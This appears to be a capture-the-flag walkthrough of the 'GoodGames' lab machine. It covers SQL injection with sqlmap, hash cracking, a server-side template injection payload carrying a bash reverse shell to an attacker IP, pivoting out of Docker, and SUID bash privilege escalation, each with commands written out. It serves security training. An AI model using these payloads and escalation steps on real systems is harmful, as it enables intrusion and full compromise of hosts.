GoodGames is a Linux machine and is considered an easy box. but it was tricky indeed. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and subdomains. Then we will exploit SQL Injection vulnerability using burp and SQLmap. Exploitation of the server-side template injection (SSTI) will give us an initial foothold into the target machine. Then we will be tasked to gain root access where we will exploit it by taking advantage of the special permissions and ownerships both in the server and the Docker. A successful binary abuse will give us a root shell of the target system.
Initial Access
Privilege Escalation
Let’s exploit it step by step.
We are going to start assessment with the normal TCP/IP port scanning.
Let’s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used –sV and -sC flags which performs a service version scan with NSE scripts against the target machine.
Flags features:
-sV: Attempts to determine the service version
-sC: Scans with default NSE scripts
nmap -sV -sC 10.129.33.160
From the nmap scan, we have found there was only one port open, which is port 80. As usual HTTP service is running on its default port and the HTTP service is used for the webhosting. Let’s take some notes about our findings.
As we have only one port is open, we begin with port 80 enumerating by accessing it over the browser and found the web page. From the webpage interface, it looks like a video game online store. If we see our nmap result, we gathered earlier showing the http title as Goodgame community and store that makes sense.
While enumerating webpage we found a login page. From the login in page, we can enumerate further by registering ourselves as a new member or if we have valid credentials, we can directly log in to do the same.
Before registering a new user account let’s capture the login request on the burp. Here we are using a random email and password. You can use any random credentials to capture request for testing purpose.
We are capturing login request on burp to check if there is any SQL injection vulnerability present in the target system. We captured the request and saved as sqlfile. The reason we are checking SQL injection vulnerability as there is a login page and it is worth checking SQL injection in login pages and on any user input field. Most of the time, SQL injection vulnerabilities found in user input fields in the web application.
Next, we are going to check the database name by loading the login request that we captured on burp. In the below picture, we have loaded sqlfile on sqlmap which will be going to find out the database name if the web application login parameter is vulnerable to SQL injection. Full functions of the flags are given below.
sqlmap -r sqlfile –dbs --batch
–dbs: Enumerate DBMS databases
–-batch: Never ask for user input, use the default behaviour
-r: Request
Once we get the database name then we will dump all the contents that the database is containing by issuing a request file, and database name.
sqlmap -r sqlfile -D main –dbs --batch
–dump-all: Dump all-D: Database name
–-batch: Never ask for user input, use the default behaviour
-r: Request
After dumping all the contents from the main database, we found the username, email and password hash. Here we are going to keep a note of dumped information.
It looks like an md5 hash but what can we do with this hash? Until we have a plain text password, we cannot proceed further. So, we simply copy the full hash and pasted google gave us a plain texted password of md5hash. What else we could do if we did not get a plain texted password from google? Then we can use crackstation website to crack hash or hashcat and john tools to crack the hash offline.
Password: superadministrator
As we have admin user password in the plain texted form, we can try log in as admin user in the web console for further assessment.
After logging in, we tried enumerating the administrator account but unfortunately, we did not get anything interesting there. There was same information that we already have but nothing much more.
Then we decided to check source code of the admin profile page and found a new subdomain there. It is worth checking source code as many times we may get valuable information from there such as subdomain or any secrets from the comment etc.
Subdomain url: http://internal-administration.goodgames.htb
Let’s add it to the/etc/hosts file in the attacking machine.
Why do we need to add domain in the local hosts file?
The /etc/hosts file contains a mapping of IP addresses to URLs. Your browser uses entries in the /etc/hosts file to override the IP-address-to-URL mapping returned by a DNS server. This is useful for testing DNS (domain name system) changes and the SSL configuration before making a website live.
After adding an internal sub-domain to the hosts file, we accessed it over a browser where we have seen a new web page with a login page. We used the same credentials that we used earlier to Flask Volt sign-in system.
From the information, we gathered during the nmap scan the server-side code was a python, so it is worth checking the Server-side template injection (SSTI). Here we are using a payload to detect SSTI, and the detection process is like the XXS. We have found that the user input field is vulnerable to SSTI as it is reflecting the sum of the payload provided.
What is SSTI vulnerability?
A server-side template injection (SSTI) vulnerability occurs when user data is embedded directly in a template and then interpreted by the template engine. This allows attackers to inject arbitrary directives to manipulate the template engine.
Detection payload: {{5*5}}
Now it is confirmed that target system is vulnerable to the SSTI, now we are in the position to move forward to inject a reverse shell payload. For the reverse shell we are using a popular git repository “Payload All The Things” where you will find all the payloads you will need during your penetration testing engagement. Please note, we will need to modify payload to receive the reverse shell. For example, we need to issue our attacking machine IP address (10.10.14.93) and port number (1234) where we wish to listen.
Original payload:
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Modified payload:
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.93/1234 0>&1"').read() }}
When our payload is crafted then we will inject it into the user input field which is “Full Name” in the target web application then we will start a netcat listener in our attacking machine with the below command.
nc -lvp 1234
Next, we will execute it by clicking on Save all tab which will execute our malicious payload in the target system and send a remote connection back to our netcat listener. In the below screenshot, we can see that we have successfully received a reverse connection as user root. But there is a trick, it is not the real root shell which we will discuss later. Once, we get reverse connection then we can grab user flag from the /home/augustus directory.
While enumerating for the privilege escalation vectors, we found a Docker file present in the root backend directory (/backend) which give an insight that the server is using a docker container in it. Let’s talk docker role in the box or in any server. Please note, that we are in the docker container not in the real server.
We checked the network interface and found it is connected to the internal network adaptor on 172.19.0.2/16 subnet which means we cannot communicate with the internal network directly from our kali system, but the compromised host can communicate with the internal network. In this scenario, we can use port forwarding or pivoting technique to communicate directly from our kali system but before jumping into that we also need to verify which hosts are up in the internal network. To find out the available host in the internal network we are going to use nmap static binary which means a portable nmap binary that we can use from the compromised hosts system against the internal network. We can download the nmap static binary from the below link by providing the following command:
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
Reference: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
Then we will transfer this binary to the compromised host using the python server by issuing the following command from our kali system:
python3 -m http.server 80
Once the server is on then we can download nmap binary from kali by issuing following command from the compromised host:
wget 10.10.14.93/nmap
Please note we have used the kali IP address as we are transferring binary from there.
Next, we will give full permission to the binary so we can execute it against the internal network in order to find live hosts. For more information about Linux file permissions.
Here we have provided -sn flag which will only show number of available hosts in the subnet and their IP addresses. From the nmap scan result, we found that 172.19.0.1 is up.
Once we found the potential target host from the internal network. We decided to enumerate further against it. Next, we will run another nmap scan against the potential target host (172.19.0.1) verbosely with -v flag to get more information about the target system. Here is the command to reproduce the prove of concept (POC).
./nmap 172.19.0.1 -v
From the nmap scan, we found that 2 ports are open where 22 port is running SSH service and port 80 is running HTTP service.
Now we are trying to log in to the server as augustus from the docker container using the same password we cracked from the md5 hash earlier. Then we copied /bin/bash binary to augustus home directory which will be available in the docker as well. Next, we will exit the shell and go back to the docker root shell where we have the privilege to set SUID to bash binary as root. There we will change the ownership of the bash binary where we have given root user ownership. Next, we will change the permission and give augustus full permission on bash binary.
Why are we doing it and what’s the story?
As we know we got a root shell on docker, we cannot get root flag from the docker as it is not present there because it is just a container which is used for web hosting. And we have access to the server as user augustus who is a low-privileged user, so he has limited permissions on the server and the goal is to gain a root shell on the server.
Here augustus can download or copy bash binary on his home directory in the server but he cannot change ownership because of limited permission as low privileged user. On the other hand, from the root docker shell, we have root permission that can change ownership but no bash binary is present in the docker that’s why we copied the bash binary as augustus on his home directory and then switched to docker root shell so we can change ownership of the binary. Once we change ownership then it will consider that the bash binary is owned by the root and if anyone execute it then it will spawn a bash root shell which is our goal to achieve.
Only changing ownership will not work until we give execute permission to augustus. If he can execute it, then a root shell will be spawned so that’s why at the last step we are also issuing full permission to augustus on that binary. Steps to reproduce the POC:
ssh [email protected]
Shell upgrade to interactive shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Copy bash binary to augustus home directory:
cp /bin/bash .
Change Ownership of the binary:
chown root:root bash
Give full permission:
chmod 4777 bash
Then we again switched to augustus shell and navigate to bash SUID set binary which is available on augustus home directory. Execution of the SUID binary spawned a bash root shell. Now we can grab our root flag from /root/root/ directory. Here are the steps to reproduce the POC.
ssh [email protected] ./bash -p cat /root/root/root.txt
This machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, SQL injection vulnerability Enumeration using burp suite, Exploitation of SQL injection with SQLmap, Server-Side Template Injection vulnerability enumeration and exploitation, file transfer, file permissions, about nmap static binary, internal network, Docker, Set UID permissions on docker to perform local privilege escalation.
Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!
Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin and Twitter